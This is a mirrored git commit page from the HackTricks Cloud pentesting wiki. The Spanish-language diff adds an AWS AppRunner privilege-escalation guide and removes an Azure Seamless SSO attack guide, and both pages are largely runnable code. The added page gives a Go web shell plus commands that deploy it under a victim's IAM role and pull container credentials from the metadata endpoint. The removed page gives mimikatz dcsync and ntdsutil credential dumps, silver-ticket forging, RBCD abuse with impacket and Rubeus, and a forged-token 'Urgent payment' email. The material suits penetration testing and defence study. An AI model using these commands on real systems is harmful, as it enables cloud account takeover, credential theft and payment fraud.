gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-12 13:05:19 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

Browse Source
This commit is contained in:
Translator
2025-08-01 09:45:55 +00:00
parent d0445b0c3d
commit c44d292da2
4 changed files with 86 additions and 204 deletions
Download Patch File Download Diff File Expand all files Collapse all files

72
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md Normal file
View File

@@ -0,0 +1,72 @@
# AWS - AppRunner Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AppRunner
### `iam:PassRole`, `apprunner:CreateService`
Un atacante con estos permisos puede crear un servicio de AppRunner con un rol de IAM adjunto, potencialmente escalando privilegios al acceder a las credenciales del rol.
El atacante primero crea un Dockerfile que sirve como una shell web para ejecutar comandos arbitrarios en el contenedor de AppRunner.
```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}
fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```
Luego, empuje esta imagen a un repositorio ECR.
Al empujar la imagen a un repositorio público en una cuenta de AWS controlada por el atacante, es posible la escalada de privilegios incluso si la cuenta de la víctima no tiene permisos para manipular ECR.
```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```
A continuación, el atacante crea un servicio de AppRunner configurado con esta imagen de shell web y el rol de IAM que desea explotar.
```bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
```
Después de esperar a que se complete la creación del servicio, utiliza la shell web para recuperar las credenciales del contenedor y obtener los permisos del rol IAM adjunto a AppRunner.
```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
**Impacto Potencial:** Escalación de privilegios directa a cualquier rol de IAM que se pueda adjuntar a los servicios de AppRunner.
{{#include ../../../banners/hacktricks-training.md}}

191
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md
View File

@@ -1,191 +0,0 @@
# Az - Seamless SSO
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **firma automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un fácil acceso a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
Básicamente, Azure AD Seamless SSO **firma a los usuarios** cuando están **en un PC unido a un dominio local**.
Es compatible tanto con [**PHS (Sincronización de Hash de Contraseña)**](phs-password-hash-sync.md) como con [**PTA (Autenticación Passthrough)**](pta-pass-through-authentication.md).
El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada `AZUREADSSOACC$`** en AD local. La contraseña de la cuenta `AZUREADSSOACC$` se **envía en texto plano a Entra ID** durante la configuración.
Los **tickets de Kerberos** están **encriptados** utilizando el **NTHash (MD4)** de la contraseña y Entra ID utiliza la contraseña enviada para desencriptar los tickets.
**Entra ID** expone un **endpoint** (https://autologon.microsoftazuread-sso.com) que acepta **tickets** de Kerberos. El navegador de la máquina unida al dominio reenvía los tickets a este endpoint para SSO.
### Enumeración
```bash
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
```
## Pivoting: On-prem -> cloud
> [!WARNING]
> Lo principal que hay que saber sobre este ataque es que tener el TGT o un TGS específico de un usuario que está sincronizado con Entra ID es suficiente para acceder a los recursos en la nube.\
> Esto se debe a que es un ticket lo que permite a un usuario iniciar sesión en la nube.
Para obtener ese ticket TGS, el atacante necesita tener uno de los siguientes:
- **Un TGS de un usuario comprometido:** Si comprometes la sesión de un usuario con el ticket a `HTTP/autologon.microsoftazuread-sso.com` en memoria, puedes usarlo para acceder a los recursos en la nube.
- **Un TGT de un usuario comprometido:** Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) y [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Un hash o contraseña de un usuario comprometido:** SeamlessPass se comunicará con el controlador de dominio con esta información para generar el TGT y luego el TGS.
- **Un ticket dorado:** Si tienes la clave KRBTGT, puedes crear el TGT que necesitas para el usuario atacado.
- **El hash o contraseña de la cuenta AZUREADSSOACC$:** Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticarte con la nube (como se realizó en el método anterior).
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
Como [se explica en esta publicación del blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), tener cualquiera de los requisitos anteriores hace que sea muy fácil usar la herramienta **SeamlessPass** para acceder a los recursos en la nube como el usuario comprometido, o como cualquier usuario si tienes el hash o contraseña de la cuenta **`AZUREADSSOACC$`**.
Finalmente, con el TGT es posible usar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
```bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
```
Más información para configurar Firefox para trabajar con SSO sin interrupciones se puede [**encontrar en esta publicación de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
### Obtener hashes de la cuenta AZUREADSSOACC$
La **contraseña** del usuario **`AZUREADSSOACC$` nunca cambia**. Por lo tanto, un administrador de dominio podría comprometer el **hash de esta cuenta**, y luego usarlo para **crear tickets de plata** para conectarse a Azure con **cualquier usuario local sincronizado**:
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
> [!NOTE]
> Con la información actual, podrías simplemente usar la herramienta **SeamlessPass** como se indicó anteriormente para obtener tokens de azure y entraid para cualquier usuario en el dominio.
> También podrías usar las técnicas anteriores (y otras) para obtener el hash de la contraseña de la víctima que deseas suplantar en lugar de la cuenta `AZUREADSSOACC$`.
#### Creando Tickets Silver
Con el hash ahora puedes **generar tickets silver**:
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
### Usando Silver Tickets con Firefox
Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos:
1. **Iniciar el Navegador:** Se debe lanzar Mozilla Firefox.
2. **Configurar el Navegador:**
- Navegar a **`about:config`**.
- Establecer la preferencia para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) al [valor](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificado:
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
- Navegar a `Configuración` de Firefox > Buscar `Permitir inicio de sesión único de Windows para cuentas de Microsoft, trabajo y escuela` y habilitarlo.
3. **Acceder a la Aplicación Web:**
- Visitar una aplicación web que esté integrada con el dominio AAD de la organización. Un ejemplo común es [login.microsoftonline.com](https://login.microsoftonline.com/).
4. **Proceso de Autenticación:**
- En la pantalla de inicio de sesión, se debe ingresar el nombre de usuario, dejando el campo de contraseña en blanco.
- Para continuar, presionar TAB o ENTER.
> [!WARNING]
> Esto **no elude MFA si está habilitado** en el usuario.
### On-prem -> Cloud a través de Delegación Constrainada Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Para realizar el ataque se necesita:
- `WriteDACL` / `GenericWrite` sobre `AZUREADSSOACC$`
- Una cuenta de computadora que controles (hash y contraseña) - Podrías crear una
1. Paso 1 – Agrega tu propia cuenta de computadora
- Crea `ATTACKBOX$` y imprime su SID/hash NTLM. Cualquier usuario de dominio puede hacer esto mientras MachineAccountQuota > 0
```bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
```
2. Paso 2 – Conceder RBCD en `AZUREADSSOACC$` - Escribe el SID de tu máquina en `msDS-AllowedToActOnBehalfOfOtherIdentity`.
```bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
```
3. Paso 3 – Forjar un TGS para cualquier usuario (por ejemplo, alice)
```bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
```
Ahora puedes usar el **TGS para acceder a los recursos de Azure como el usuario suplantado.**
### ~~Creando tickets de Kerberos para usuarios solo en la nube~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden **establecer SID para cualquier usuario en la nube**. De esta manera, los **tickets** de Kerberos pueden ser **creados también para usuarios solo en la nube**. El único requisito es que el SID sea un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> Cambiar el SID de los usuarios administradores solo en la nube ahora está **bloqueado por Microsoft**.\
> Para más información, consulta [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
## Referencias
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: Estoy en tu nube, leyendo los correos electrónicos de todos - hackeando Azure AD a través de Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../banners/hacktricks-training.md}}